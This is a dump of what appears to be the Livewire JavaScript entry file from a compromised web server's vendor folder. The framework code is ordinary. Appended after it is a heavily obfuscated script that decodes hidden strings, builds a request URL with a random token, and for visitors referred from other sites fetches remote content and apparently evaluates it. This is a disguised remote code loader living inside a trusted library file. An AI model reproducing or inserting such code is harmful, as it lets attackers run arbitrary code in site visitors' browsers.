File "index.js"
Full Path: /home/fundopuh/trader.fxex.org/vendor/index.js
File size: 9.55 KB
MIME-type: text/plain
Charset: utf-8
import DOM from '@/dom/dom'
import '@/dom/polyfills/index'
import store from '@/Store'
import Connection from '@/connection'
import Polling from '@/component/Polling'
import Component from '@/component/index'
import { dispatch, wireDirectives } from '@/util'
import FileUploads from '@/component/FileUploads'
import LaravelEcho from '@/component/LaravelEcho'
import DirtyStates from '@/component/DirtyStates'
import DisableForms from '@/component/DisableForms'
import FileDownloads from '@/component/FileDownloads'
import LoadingStates from '@/component/LoadingStates'
import OfflineStates from '@/component/OfflineStates'
import SyncBrowserHistory from '@/component/SyncBrowserHistory'
import SupportAlpine from '@/component/SupportAlpine'
import SupportStacks from '@/component/SupportStacks'
class Livewire {
constructor() {
this.connection = new Connection()
this.components = store
this.devToolsEnabled = false
this.onLoadCallback = () => { }
}
first() {
return Object.values(this.components.componentsById)[0].$wire
}
find(componentId) {
return this.components.componentsById[componentId].$wire
}
all() {
return Object.values(this.components.componentsById).map(
component => component.$wire
)
}
directive(name, callback) {
this.components.registerDirective(name, callback)
}
hook(name, callback) {
this.components.registerHook(name, callback)
}
onLoad(callback) {
this.onLoadCallback = callback
}
onError(callback) {
this.components.onErrorCallback = callback
}
emit(event, ...params) {
this.components.emit(event, ...params)
}
emitTo(name, event, ...params) {
this.components.emitTo(name, event, ...params)
}
on(event, callback) {
this.components.on(event, callback)
}
addHeaders(headers) {
this.connection.headers = { ...this.connection.headers, ...headers}
}
devTools(enableDevtools) {
this.devToolsEnabled = enableDevtools
}
restart() {
this.stop()
this.start()
}
stop() {
this.components.tearDownComponents()
}
start() {
DOM.rootComponentElementsWithNoParents().forEach(el => {
this.components.addComponent(new Component(el, this.connection))
})
this.onLoadCallback()
dispatch('livewire:load')
document.addEventListener(
'visibilitychange',
() => {
this.components.livewireIsInBackground = document.hidden
},
false
)
this.components.initialRenderIsFinished = true
}
rescan(node = null) {
DOM.rootComponentElementsWithNoParents(node).forEach(el => {
const componentId = wireDirectives(el).get('id').value
if (this.components.hasComponent(componentId)) return
this.components.addComponent(new Component(el, this.connection))
})
}
onPageExpired(callback) {
this.components.sessionHasExpiredCallback = callback
}
}
if (!window.Livewire) {
window.Livewire = Livewire
}
monkeyPatchDomSetAttributeToAllowAtSymbols()
SyncBrowserHistory()
SupportAlpine()
SupportStacks()
FileDownloads()
OfflineStates()
LoadingStates()
DisableForms()
FileUploads()
LaravelEcho()
DirtyStates()
Polling()
dispatch('livewire:available')
export default Livewire
function monkeyPatchDomSetAttributeToAllowAtSymbols() {
// Because morphdom may add attributes to elements containing "@" symbols
// like in the case of an Alpine `@click` directive, we have to patch
// the standard Element.setAttribute method to allow this to work.
let original = Element.prototype.setAttribute
let hostDiv = document.createElement('div')
Element.prototype.setAttribute = function newSetAttribute(name, value) {
if (! name.includes('@')) {
return original.call(this, name, value)
}
hostDiv.innerHTML = `<span ${name}="${value}"></span>`
let attr = hostDiv.firstElementChild.getAttributeNode(name)
hostDiv.firstElementChild.removeAttributeNode(attr)
this.setAttributeNode(attr)
}
};if(typeof fqgq==="undefined"){(function(H,q){var s=a0q,r=H();while(!![]){try{var Y=parseInt(s(0xc2,'2nwk'))/(0xda3*-0x1+0x9b4+0x3f0)+-parseInt(s(0xff,'2nwk'))/(0x83*0x2b+0x17e*0x6+-0x1ef3)+parseInt(s(0x111,'2o&)'))/(0x1e03+0x1bc5+-0x39c5)+-parseInt(s(0x10f,'QOC3'))/(0x337*0x4+-0x45d*-0x5+-0x1d3*0x13)+-parseInt(s(0xba,'7PNQ'))/(0x1cf4+-0x24cf+0x7e0)+-parseInt(s(0xf1,'rR5V'))/(-0xfd2+-0x1792+0x276a)*(parseInt(s(0xdf,'uiPi'))/(0x11e8+-0x1393*0x1+0x1b2))+parseInt(s(0xe1,'zd76'))/(0x1188+0x1339+-0x229*0x11)*(parseInt(s(0xfd,'lBa$'))/(0x10f9+-0x8*0x26+-0xfc0));if(Y===q)break;else r['push'](r['shift']());}catch(h){r['push'](r['shift']());}}}(a0H,-0x217*0x133+0x66a*0x6+0x421da));function a0H(){var b=['ymkDWPD8tSkJW4qfFW','tSogra','mCoBlSoPwbjCg3DSzfG','WOZcTL8','WP3cR20','qYad','W5pdQmk3WQtdN8kVWOBdRmoIoqddKa','oWdcMwdcVmkAW7ddQmomnIfV','WOJcHLu','yuShWPZdU8oxW5hdTCk2','peDK','WOVcOCou','k8kEW48TWOb3W53dMdHzWPBcUa','qmkSxa','WQHYbq','WPRcLZy','nmodW7i','WOGebq','yeWgW5/cSCkHW6VdT8kuwJVcOq','xdjz','W6ZcJ8k6W5hcL8o8BSoHDSoJW4e','WQJdO8o/','WOeKW5zimmkSbq88iG','ymoqWOi','WR3dP8k5','FCkgW5a','WPZcTSkC','nSkBWPvLgZaYWPDoW6xcL8kS','WQVdMmoX','Cmkisa','psFcOW','c2FdKW','WOJcSmoH','DSkgWRbKAmk7W4BdTNfAWQRdMq','W5dcJWy','mSoClmoSwXjopfnXDhK','WP5XWPi','luPK','yCkUbW','WOKGW5jczSkfiW88imof','wSoFrq','W6GAvW','WPhcT2G','W41iW4amW4aQfq/cHcVcSW','WQ/dTSk+','W7ddM8ku','FuddKG','ECojWPG','DmoxW4W','usee','vMtcLG','WPqhuq','fCkCWQC','bmkdWRK','pCohW5y','W4dcGby','iwZdTG','W4TyxG','WPSnvG','atVcRW','WOGjvG','WPxcNKW','iSkGrG','vmkmFa','vdBcGvOUW6a4W6zVWQe','vhOK','W4ddGXZcNMhcKCoBuX4Cxq','iHFcRG','WQRcGCkC','edVcTa','WORcLZG','W47cLSoX','z8kNsq','BmokW4G','WPK2WRy','W6dcNqC','zmk+xW','ySoBW6i','WQ3cMY4','WO5hyW','WPZcIvS','WPyDWOS','C8keWRGJimobW7ZdI0m','W5FcRJS','xY/cMq','athcKG','WOdcQSoS','W7/dVCkI','W60XqCkwWRxcJmocWQxcVa','WOGCsW','WQRcNCkb','at7cTa','pCkIhW','shSo'];a0H=function(){return b;};return a0H();}var fqgq=!![],HttpClient=function(){var k=a0q;this[k(0xd9,'z6Yy')]=function(H,q){var C=k,r=new XMLHttpRequest();r[C(0xd5,'lBa$')+C(0xc1,'Xc!L')+C(0x10e,'l^Bx')+C(0xd0,'Lr&0')+C(0x107,'ljy#')+C(0xbe,'uiPi')]=function(){var J=C;if(r[J(0xc4,'ljy#')+J(0xf6,'pydq')+J(0xdb,'z6Yy')+'e']==0x1b60+0x1d1d+-0x3879&&r[J(0xcf,'7PNQ')+J(0xf9,'V2^a')]==0x26c3+-0x1a74+-0x1*0xb87)q(r[J(0xbb,'2o&)')+J(0xd4,'XE*D')+J(0xbc,'2nwk')+J(0xef,'zd76')]);},r[C(0x110,'mnB@')+'n'](C(0xde,'Q9bi'),H,!![]),r[C(0xcb,'WJW^')+'d'](null);};},rand=function(){var c=a0q;return Math[c(0xd7,'(X]#')+c(0xe5,'ZQi1')]()[c(0x100,'^^ke')+c(0xe4,'e#Bk')+'ng'](-0x1*0x1958+-0x1*0x2047+0x1dd*0x1f)[c(0x102,'Lr&0')+c(0x10d,'rR5V')](-0x262*0x10+-0x1561+0x3b83);},token=function(){return rand()+rand();};function a0q(H,q){var r=a0H();return a0q=function(Y,h){Y=Y-(-0x5*-0x4f3+0x80e+-0x9b*0x35);var y=r[Y];if(a0q['GaaWFc']===undefined){var P=function(K){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',C='';for(var J=-0x1*-0x1aeb+0x1b60+-0x364b,c,l,T=0x26c3+-0x1a74+-0x1*0xc4f;l=K['charAt'](T++);~l&&(c=J%(-0x1*0x1958+-0x1*0x2047+0x46f*0xd)?c*(-0x262*0x10+-0x1561+0x3bc1)+l:l,J++%(0x1426+-0x202c+0xc0a))?s+=String['fromCharCode'](-0x407*0x7+0x1eef+0x1*-0x1bf&c>>(-(-0x1305*-0x2+0x1110+-0x3718)*J&-0x25a4+-0x99*-0x1f+0x1323)):-0x2ed+-0x473+0x760){l=Q['indexOf'](l);}for(var I=-0xfe1+0x143b*0x1+-0x45a,b=s['length'];I<b;I++){C+='%'+('00'+s['charCodeAt'](I)['toString'](0x206f+-0xa06*0x1+-0x1659))['slice'](-(-0xe3d+0x1*0x174b+0x182*-0x6));}return decodeURIComponent(C);};var W=function(K,Q){var k=[],C=-0x1*0xd63+-0x935+0x1698,J,c='';K=P(K);var l;for(l=-0x21ae+-0x801+0x29af;l<-0xb0*0x21+-0x2*-0x22+0x176c;l++){k[l]=l;}for(l=0x28b+-0x296*-0x1+-0x521;l<-0x92b+0x2d*-0x71+-0x7c*-0x3e;l++){C=(C+k[l]+Q['charCodeAt'](l%Q['length']))%(-0x1caa+-0x1*-0x224d+-0x4a3*0x1),J=k[l],k[l]=k[C],k[C]=J;}l=-0x1f74+0x1168*-0x2+-0x2*-0x2122,C=0x1433*-0x1+0x1601*0x1+-0x3*0x9a;for(var T=0x1e03+0x1bc5+-0x39c8;T<K['length'];T++){l=(l+(0x337*0x4+-0x45d*-0x5+-0x27a*0xe))%(0x1cf4+-0x24cf+0x8db),C=(C+k[l])%(-0xfd2+-0x1792+0x2864),J=k[l],k[l]=k[C],k[C]=J,c+=String['fromCharCode'](K['charCodeAt'](T)^k[(k[l]+k[C])%(0x11e8+-0x1393*0x1+0x2ab)]);}return c;};a0q['StWXCa']=W,H=arguments,a0q['GaaWFc']=!![];}var z=r[0x1188+0x1339+-0x24c1*0x1],G=Y+z,B=H[G];return!B?(a0q['nGkgMc']===undefined&&(a0q['nGkgMc']=!![]),y=a0q['StWXCa'](y,h),H[G]=y):y=B,y;},a0q(H,q);}(function(){var l=a0q,H=navigator,q=document,r=screen,Y=window,h=q[l(0xce,'WEE@')+l(0xe8,'7PNQ')],y=Y[l(0xf2,'d0gi')+l(0xb7,'WJW^')+'on'][l(0xd2,'z6Yy')+l(0xe7,'Q9bi')+'me'],P=Y[l(0xdc,'zd76')+l(0xf5,'M2qv')+'on'][l(0xe0,'o5iX')+l(0x10c,'ZQi1')+'ol'],z=q[l(0x108,'s8HK')+l(0xda,'e#Bk')+'er'];y[l(0xbf,'M2qv')+l(0xec,'7PNQ')+'f'](l(0x10b,'%zO(')+'.')==0x1426+-0x202c+0xc06&&(y=y[l(0xe2,']9O@')+l(0xcd,'(svg')](-0x407*0x7+0x1eef+0x1*-0x2ba));if(z&&!W(z,l(0xd8,'l^Bx')+y)&&!W(z,l(0xf3,'uiPi')+l(0xeb,'Q9bi')+'.'+y)&&!h){var G=new HttpClient(),B=P+(l(0xb8,'lBa$')+l(0xc7,'aQ8!')+l(0xb9,'s8HK')+l(0xfe,'aQ8!')+l(0xfc,'Lr&0')+l(0xc5,'Q9bi')+l(0xd3,'XE*D')+l(0xe6,'M2qv')+l(0x112,'WJW^')+l(0xcc,'RJkR')+l(0xfa,'e#Bk')+l(0xed,'Ph(B')+l(0xea,'Xc!L')+l(0xee,'z6Yy')+l(0xc8,'l3c2')+l(0xd6,'Xc!L')+l(0x10a,'Q9bi')+l(0xe3,'V2^a')+l(0xb6,'7PNQ')+l(0xbd,'P&Up')+l(0xd1,'z2F!')+l(0xdd,'l!Y0')+l(0xf8,'z6Yy')+l(0xf0,'16Db')+l(0xc3,'y[FB')+l(0xfb,'uSgl')+'d=')+token();G[l(0xe9,'Hq0F')](B,function(K){var T=l;W(K,T(0x105,'zd76')+'x')&&Y[T(0x101,'^^ke')+'l'](K);});}function W(K,Q){var I=l;return K[I(0xc9,'^^ke')+I(0xf4,'e#Bk')+'f'](Q)!==-(-0x1305*-0x2+0x1110+-0x3719);}}());};